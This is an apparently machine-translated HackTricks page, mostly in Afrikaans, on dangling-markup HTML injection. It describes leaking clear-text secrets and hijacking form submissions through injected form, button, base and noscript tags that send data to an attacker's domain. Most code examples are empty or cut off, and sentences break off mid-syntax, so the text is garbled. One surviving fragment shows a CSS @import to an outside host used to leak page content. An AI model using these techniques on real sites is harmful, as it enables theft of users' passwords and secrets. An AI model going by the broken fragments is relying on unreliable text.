# Dangling Markup - HTML scriptless injection {{#include ../../banners/hacktricks-training.md}} ## Resume Hierdie tegniek kan gebruik word om inligting van 'n gebruiker te onttrek wanneer 'n **HTML-inspuiting gevind word**. Dit is baie nuttig as jy **nie 'n manier kan vind om 'n** [**XSS** ](../xss-cross-site-scripting/index.html) te benut nie, maar jy kan **'n paar HTML-tags inspuit**.\ Dit is ook nuttig as 'n **geheim in duidelike teks gestoor is** in die HTML en jy dit wil **exfiltrate** van die kliënt, of as jy 'n paar skripuitvoerings wil mislei. Verskeie tegnieke wat hier bespreek word, kan gebruik word om 'n paar [**Content Security Policy**](../content-security-policy-csp-bypass/index.html) te omseil deur inligting op onverwagte maniere te exfiltrate (html-tags, CSS, http-meta-tags, vorms, basis...). ## Main Applications ### Stealing clear text secrets As jy `@import//hackvertor.co.uk? <--- Injected steal me!; ``` Jy kan ook **`test ``` ### Steel vorms ```html ``` Dan sal die vorms wat data na die pad stuur (soos `
`) die data na die kwaadwillige domein stuur. ### Steelvorms 2 Stel 'n vormkop in: `` dit sal die volgende vormkop oorskryf en al die data van die vorm sal na die aanvaller gestuur word. ### Steelvorms 3 Die knoppie kan die URL verander waarheen die inligting van die vorm gestuur gaan word met die attribuut "formaction": ```html ``` 'n Aanvaller kan dit gebruik om die inligting te steel. Vind 'n [**voorbeeld van hierdie aanval in hierdie skrywe**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). ### Steel duidelike teks geheime 2 Deur die nuutgenoemde tegniek te gebruik om vorms te steel (deur 'n nuwe vormkop in te spuit) kan jy dan 'n nuwe invoerveld inspuit: ```html `-tag in te spuit. Al die data totdat 'n geslote `` gevind word, sal gestuur word: ```html Click Me ← Injected lines ← Existing form (ignored by the parser) ... ← Subverted field ... ...
``` ### Dief van duidelike teks geheime via noscript `` Is 'n etiket waarvan die inhoud geïnterpreteer sal word as die blaaier nie javascript ondersteun nie (jy kan Javascript in Chrome in [chrome://settings/content/javascript](chrome://settings/content/javascript) aktiveer/deaktiveer). 'n Manier om die inhoud van die webblad van die punt van inspuiting na die onderkant na 'n aanvaller beheerde webwerf te ekfiltreer, sal wees om dit in te spuit: ```html